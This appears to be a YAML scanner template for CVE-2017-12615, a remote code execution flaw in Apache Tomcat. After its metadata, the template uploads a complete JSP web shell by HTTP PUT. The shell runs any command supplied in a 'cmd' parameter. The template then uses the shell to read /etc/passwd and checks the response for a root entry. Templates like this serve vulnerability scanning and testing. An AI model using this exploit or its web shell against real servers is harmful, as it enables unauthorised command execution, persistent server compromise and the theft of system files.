56 lines
1.8 KiB
YAML
56 lines
1.8 KiB
YAML
id: CVE-2017-12615
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info:
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name: Apache Tomcat RCE
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author: pikpikcu
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severity: high
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tags: cve,cve2017,apache,rce,tomcat
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reference: https://github.com/vulhub/vulhub/tree/master/tomcat/CVE-2017-12615
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description: |
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By design, you are not allowed to upload JSP files via the PUT method on the Apache Tomcat servers.
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This is likely a security measure to prevent an attacker from uploading a JSP shell and gaining remote code execution on the server.
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However, due to the insufficient checks, an attacker could gain remote code execution on 7.0.{0 to 79}
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Tomcat servers that has enabled PUT by requesting PUT method on the Tomcat server using a specially crafted HTTP request.
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classification:
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cvss-metrics: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 8.10
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cve-id: CVE-2017-12615
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cwe-id: CWE-434
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requests:
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- method: PUT
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path:
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- "{{BaseURL}}/poc.jsp/"
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headers:
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Content-Type: application/x-www-form-urlencoded
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body: |
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<%@ page import="java.util.*,java.io.*"%>
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<%
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if (request.getParameter("cmd") != null) {
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out.println("Command: " + request.getParameter("cmd") + "<BR>");
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Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
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OutputStream os = p.getOutputStream();
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InputStream in = p.getInputStream();
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DataInputStream dis = new DataInputStream(in);
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String disr = dis.readLine();
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while ( disr != null ) {
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out.println(disr);
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disr = dis.readLine();
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}
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}
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%>
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- method: GET
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path:
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- "{{BaseURL}}/poc.jsp?cmd=cat+%2Fetc%2Fpasswd"
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matchers-condition: and
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matchers:
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- type: regex
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regex:
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- "root:.*:0:0"
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- type: status
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status:
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- 200
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